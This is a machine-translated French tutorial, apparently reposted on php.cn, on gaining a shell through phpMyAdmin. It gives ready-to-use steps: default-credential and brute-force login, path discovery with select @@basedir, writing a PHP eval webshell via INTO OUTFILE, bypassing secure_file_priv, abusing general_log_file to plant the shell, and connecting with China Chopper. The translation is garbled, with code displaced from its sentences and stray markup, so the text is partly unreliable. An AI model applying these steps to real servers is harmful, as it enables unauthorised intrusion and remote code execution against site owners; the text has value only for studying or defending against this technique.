Maison  >  Article  >  base de données  >  Getshell en arrière-plan PhpMyAdmin (test d'intrusion)

Getshell en arrière-plan PhpMyAdmin (test d'intrusion)

藏色散人
藏色散人avant
2021-06-17 14:57:283453parcourir

Ce qui suit est une introduction au getshell d'arrière-plan PhpMyAdmin (test de pénétration) de la colonne du didacticiel phpmyadmin. J'espère que cela sera utile aux amis dans le besoin !

Introduction à PhpMyAdmin

PhpMyAdmin est basé sur PHP et structuré en Web-Base. 🎜>L'outil de gestion de base de données MySQL sur l'hébergeur du site Web permet aux administrateurs d'utiliser l'interface Web pour gérer la base de données MySQL. Cette interface Web peut constituer un meilleur moyen de saisir une syntaxe SQL complexe de manière simple, en particulier lorsqu'il s'agit d'importer et d'exporter de grandes quantités de données.
Getshell en arrière-plan PhpMyAdmin (test dintrusion) Après avoir collecté et détecté la cible, lorsqu'il s'avère qu'il existe un répertoire phpmyadmin (vous pouvez essayer :
), vous pouvez directement essayer d'utiliser le mot de passe faible (http://ip:端口/phpmyadmin/) pour créer le compte root Mot de passe root ) ou cracker par force brute pour accéder à l'arrière-plan de gestion, il existe de nombreuses façons d'obtenir Shell.
Getshell en arrière-plan PhpMyAdmin (test dintrusion)

dans un cheval de Troie d'exportation de fichier

Si vous souhaitez insérer un cheval de Troie à l'intérieur du site Web, le principe est que vous devez connaître le chemin absolu du site Web. de nombreuses méthodes, comme obtenir le chemin en signalant une erreur et en passant phpinfo.php et ainsi de suite (veuillez vous référer à un autre article de blog : https://blog.csdn.net/weixin_39190897/article/details/99078864).

Le moyen le plus pratique est d'utiliser

pour vérifier directement (mais parfois vous ne pouvez pas le trouver, vous devez donc trouver un autre moyen) : select @@basedir;
Getshell en arrière-plan PhpMyAdmin (test dintrusion)

Sur la base des commentaires ci-dessus, nous pouvons voir que l'emplacement de MySQL se trouve dans le répertoire

. D:softphpStudyMySQL

Après avoir obtenu le chemin du site Web, vous pouvez tenter de télécharger le cheval de Troie. La méthode la plus courante consiste à écrire une phrase du cheval de Troie directement dans le répertoire racine du site Web via

 : into outfile

.

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:softphpStudywwwxxx.php';

Mais dans la nouvelle version de MySQL, cette phrase ne s'est pas exécutée avec succès.


Getshell en arrière-plan PhpMyAdmin (test dintrusion) La nouvelle fonctionnalité de Mysql
aura un impact sur la lecture et l'écriture des fichiers. Ce paramètre permet de limiter l'import et l'export. Nous pouvons utiliser la commande secure_file_priv pour afficher ce paramètre : show global variables like '%secure%';
Getshell en arrière-plan PhpMyAdmin (test dintrusion) Lorsque
est NULL, cela signifie que Mysql ne peut pas importer et exporter, donc une erreur se produit. Pour réussir l'exportation de cette instruction, vous devez modifier le fichier secure_file_priv dans le dossier Mysql et ajouter my.ini à [mysqld] : secure_file_priv =""
Getshell en arrière-plan PhpMyAdmin (test dintrusion) Lorsque la valeur de
n'est pas une valeur spécifique , cela signifie qu'il n'y a aucune restriction sur l'importation/exportation de mysqld et que la commande d'exportation peut être exécutée à ce moment-là. secure_file_priv

Utilisation des fichiers journaux Mysql

Mysql version 5.0 et supérieure créera des fichiers journaux En modifiant les variables globales du journal, vous pouvez également getshell. Mais vous devez également disposer d’autorisations de lecture et d’écriture sur les journaux générés. (Remarque : le test personnel sous Linux a échoué en raison de problèmes d'autorisation). Introduisons d'abord deux variables globales MySQL :

et general_log. general_log file

  1. journal général fait référence à l'état de sauvegarde du journal, ON signifie ouvert, OFF signifie fermé
  2. fichier journal général fait référence au chemin de sauvegarde du journal.
Commande pour afficher l'état du journal :

show variables like '%general%';
Getshell en arrière-plan PhpMyAdmin (test dintrusion) Dans la configuration ci-dessus, lorsque le général est activé, les instructions SQL exécutées par
apparaîtront dans FichierWIN-30DFNC8L78A.log.

Ensuite, si la valeur de general_log_file est modifiée, l'instruction SQL exécutée sera générée en conséquence, puis getshell sera généré.
Getshell en arrière-plan PhpMyAdmin (test dintrusion)Getshell en arrière-plan PhpMyAdmin (test dintrusion)
En conséquence, le fichier xxx.php sera généré
Getshell en arrière-plan PhpMyAdmin (test dintrusion)
Écrivez une phrase de cheval de Troie dans le fichier xxx.php : SELECT '<?php eval($_POST["cmd"]);?>'
Getshell en arrière-plan PhpMyAdmin (test dintrusion)
Ensuite, vous pouvez voir la déclaration du cheval de Troie enregistrée dans le fichier journal :
Getshell en arrière-plan PhpMyAdmin (test dintrusion) Enfin, la connexion Chinese Chopper, getshell :
Getshell en arrière-plan PhpMyAdmin (test dintrusion)

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer